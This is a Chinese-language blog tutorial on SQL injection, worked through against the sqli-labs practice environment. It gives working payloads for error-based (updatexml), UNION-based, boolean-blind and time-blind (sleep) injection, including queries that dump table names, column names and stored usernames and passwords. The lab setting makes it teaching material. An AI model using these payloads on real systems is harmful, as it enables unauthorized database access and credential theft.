之前介绍了数据库的基本操作,今天这篇文章就来实操SQL注入。
阅读本文前可以先看一下基本操作,有助于更好理解本文。。。
https://blog.csdn.net/weixin_60885144/article/details/138356410?spm=1001.2014.3001.5502
what
SQL---结构化查询语言---Structured Query Language :关系型数据库的标准语言
sql注入漏洞的产生需要满足以下两个条件
-
参数用户可控:前端传给后端的参数内容是用户可以控制的
-
参数被带入数据库查询:传入的参数被拼接到SQL语句中,且被带入数据库中查询
SQL注入漏洞本质:攻击者提交的正常参数能进入数据库中查询,攻击者就能在正常参数后增加新的参数,数据库反馈新的查询,得到关键信息从而实现攻击----这个攻击行为叫拖库攻击
注入与回显
其实SQL注入方法还有很多,也有很多划分,以上介绍的是从挖掘技巧上划分。
1 SQL语句的报错回显
报错注入
2 SQL注入出数据的回显
2.1 内容直接打印在页面上
------Union select 存在回显点
回显点就是 SQL 查询正常结果显示在页面上位置,有回显点的 SQL 注入叫做回显点注入,正常回显点的回显内容就是数据库中字段的内容,如账号,密码等
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
2.2 内容显示差异
------布尔盲注 逻辑正确与否会显示不同信息
2.3 显示内容无差别
------时间盲注
闭合符对SQL注入的影响
在解释sql注入原理前介绍闭合符是很有必要的,通过闭合符对于payload(恶意代码)的构造极为重要。
闭合符就是可控参数(id index等)在SQL语句中左右两端的符号,反映了SQL语句所处的环境也决定了payload的构造方法。
常见的闭合符:单引号 双引号 括号 % 无符号等
根据符号的不同可以将SQL注入分为:
整形注入---无闭合符
字符型注入---参数两端多单引号 有时双引号
SQL注入的本质就是打破原本传递数据区域的边界,插入逻辑代码!!!
搜索型注入---%代表任意数量的任意字符
In注入---用于指定多个可能的值进行匹配,他们通过()包围起来
查询数据库信息函数
-
SCHEMA()
:与DATABASE()
函数类似,用于获取当前数据库的名称。 -
DATABASES()
:用于获取所有数据库的列表。 -
VERSION()
:用于获取当前MySQL服务器的版本信息。 -
USER()
:用于获取当前用户的用户名。 -
CURRENT_USER()
:用于获取当前用户的用户名和主机名。 -
CHARSET()
:用于获取当前数据库连接的字符集。 -
COLLATION()
:用于获取当前数据库连接的字符排序规则。 -
INFORMATION_SCHEMA
:MySQL提供了一个名为INFORMATION_SCHEMA
的数据库,其中包含了关于数据库、表、列等各种元数据信息的视图和表。你可以使用这些视图和表查询各种数据库信息,例如:INFORMATION_SCHEMA.TABLES
:用于查询数据库中表的信息。;INFORMATION_SCHEMA.COLUMNS
:用于查询表中列的信息。 -
length():返回字符串的长度
substr(str,pos,num) :截取指定位置指定长度的字符串
mid(str,pos,num) :截取指定位置指定长度的字符串
ascii() 查询ascii码中对应的值
char() 查询字符对应的ascii值
SQL注入的检测与攻击
报错注入---less-5
检测方法
在 SQL 注入的过程中,若引起SQL语法错误,数据库会抛出错误,网站的 Web 服务器开启了错误回显,因此攻击者就能特意带入错误参数来让网站反馈信息。
攻击方法
攻击者可以通过错误回显将目标数据显示在网页上,这需要搭配一些函数来输出
这里页面提示让我们输入数字当作参数id
?代表参数部分的开始 id是参数名称 1是参数值
跟他照做发现回显了信息,但是没有什么价值。 我们希望他能反馈的是sql语句的报错信息。于是我们就判断这个id参数的类型从而判断闭合符号,如果是字符型那么加个'肯定就显示报错信息。
这里可能不太理解为什么加入'就会报错
这里给数据库的反馈是 selsect id from 表名 where id='1''
加进来的'被当作了参数闭合符,从而让原本的闭合符一个'没了作用导致语法错误
那么如何让这个被分开的'不会影响语法,那么就把他变为注释
这里我们用--+ (这里的➕在url中代表空格)
从'-- '序列到行尾。请注意'-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符
这样做看似无用功 因为我们需要的信息还是没有显示,但是我们前面做的工作就是使得后续使用函数时不会出现 -----selsect id from 表名 where id='1 and 函数' 这种错误的语句。
此时是否能更好理解----
SQL注入的本质就是打破原本传递数据区域的边界,插入逻辑代码!!!
http://192.168.243.133/sqli-labs-php7-master/Less-5/
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
---页面成功显示数据库信息为security
这里我们再介绍函数,
a:updatexml()---对xml文档的修改
updatexml(XML_document,XPath_string,new_value)
三个参数分别代表文档名称 文档路径 替换的新值
-----第一个参数最好为1,乱写不一定好使;第三个参数随便
路径里的concat(0x7e,database(),0x7e)0x4e是~的十六进制,第一个0x4e是为了打破路径格式来语法错误,第二个0x4e是为了显示信息时能有效分辨结束点,可省略。
concat()函数就是做实这个错误路径
b:extractvalue()---查询
extractvalue(XML_document,xpath_string)
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错----我们的目的就是让文档路径错误然后显示错误信息,这里我们就能写入一些我们想得到的来以'错误'的形式回显
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e ),1)--+
---显示数据库为security的表名,没有group_concat会提示Subquery returns more than 1 row即返回了多行数据,group_concat() 用于连接多行数据的值为一个字符串
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e ),1)--+
这里得到了users数据表中得到三个字段
注:在语句注入时不要忘记附加上一次得到的数据库的信息,因为一个数据库服务器不只有一个数据库,同样可能不只有一个名为'users'的表
这里就能列举出第一个密码了--这里也是不允许一次显示多行数据
?id=1' and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e ),1)--+
limit
注:使用 LIMIT
子句来限定 SELECT
语句返回的行的数量
limit a,b ---a代表从从第a行开始节选,在a行基础上节选a+b行内容(a参数可选,且默认为0)
即limit 1=limit 0,1
union联合注入---less-1
what
在SQL注入中,使用联合查询还可以获取其他表的数据 。每个SELECT语句的字段不必完全相同,但它们必须具有一致的列数(字段数)和对应的数据类型。
这里我们判断出id这个参数依然是字符型,闭合符为单引号。
但是用错误注入的方法去请求数据库名称也能显示,按说如果按照错误注入的方法也能得出账号密码,但是本题都告诉我们了,这些显示的账号密码本质都是存储在数据库中的字段对于的值,所以就用这个场景来感受一下union联合注入!
检测方法
若正常的逻辑输入会回显字段内容就判断此处由SQL注入漏洞
order by [number]
order by是mysql中对查询数据进行排序的方法
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
使用 order by就能轻易发现select语句最大列数即字段数,这是union联合注入成功的关键前提
两图比较 由此确定,在执行sql语句的时候只select了3列
?id=-1' union select 1,2,3--+
这里为什么要把id设为-1 因为如果原本的语句正常执行了,在页面回显的时候我联合查询的东西就会回显不出来(本题就是还会显示id=1的内容),所以需要让第一个语句给他执行失败,才能清楚回显点的位置。
图中我们可以判断虽然执行sql语句的时候select了3列,但是只有两个字段内容回显在页面。
所以我们就可以在回显的字段内容改为我们想得到的信息
攻击方法
依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
剩下内容与错误注入时的方法一样,不再介绍
查询表名:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
查询数据?id=-1' union select 1,username,password from security.users limit 1,2 --+
布尔盲注---less-8
检测方法
布尔型变量bool 布尔型变量的值只有 真 (true) 和假 (false)
通常用于无回显点,又不能基于报错来读取数据的盲注中。只能通过构造payload去探测,根据返回差异去推理。
若语句逻辑正确与否能回显不同内容,此处就存在SQL注入漏洞
攻击方法
同理我们已经判断出参数id为字符型且闭合符'
1.猜测数据库长度
id=1' and length(database())=8--+ ==== id=0' or length(database())=8--+
爆破数据库名称长度试试二分法结合><很快就能得到
2.爆破数据库名称
所谓爆破名称也只能是一个个字母猜,上一步确定了8位意味着要重复八次
substr() 函数
返回字符串的一部分。-----substr(string ,start ,length)
可以用ascii码/字符结合二分法猜,效果都一样---都是慢慢慢
?id=0' or ascii(substr(database(),1,1))>100--+ true
?id=0' or ascii(substr(database(),1,1))>120--+ false
?id=0' or ascii(substr(database(),1,1))=115--+ true
?id=1' and substr(database(),1,1='s')--+
所以我们可以借助burp suit去暴力破解
我们就一个个爆破吧,我这是载入清单,内容为字母大小写+数字(我们本身也不知道数据库名由什么构成,保险起见也可以加一些符号),发现s为数据库名称的第一个的正确字符,且不区分大小写。
虽然知道八位,但是也不能八位一起爆,要不然急速炸弹下来排列了十亿的可能性
3.猜测表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
4.爆破表的名称
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
---在记录所有表名信息的表中,找数据库名称为'security'的,且只返回一行,并且验证第一个字母是什么。 长度不爆了,慢慢试,超过长度自然任何情况都报错
5.猜测字段的数量
?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2--+
6.爆破字段的内容
?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='i'--+
7.猜测字段内容的数量
?id=1' and (select count('email_id'/id) from security.emails)=8--+
8.爆破字段具体内容
id=1' and substr((select email_id from security.emails limit 0,1),1,1)='d'--+
其实我们也没必要去猜测数量/长度我们用burp suit可以把字段内容的显示的第n行/第n个字母作为payload进行爆破 (邮箱地址别忘了. @)
拼接---dumb@dhakkan.com
时间盲注---less-9
what
通过判定响应时间是否延长来证明SQL注入漏洞是否存在。与布尔SQL攻击获取信息过程一致,对于没有信息回显时的选择,时间盲注通过if函数来造成差异。
检测方法
?id=1' and sleep(3)--+ ----若网站延迟3s返回信息则证明存在此处存在SQL注入漏洞
这里不仅是验证是否存在注入点同时也判断参数id的闭合符
if (判别式,true,flase)
这一关不仅没有回显,就连正确错误的语句都没办法在页面信息中区分,因为查询结果仅仅用于应用程序的内部处理逻辑,并不影响页面的输出内容。 所以之前的sql注入方法都不行,只能通过查询数据库的延迟时间长短来判断逻辑语句的正确性。
3s==3000ms 成功验证此处存在SQL注入漏洞
攻击方法
虽然页面没有任何信息变化,但是我们看左上角标签页在加载状态,且3s后就正常运行,说明数据库长度为8,执行了sleep(3)
---获取信息方法与布尔盲注一样,不再演示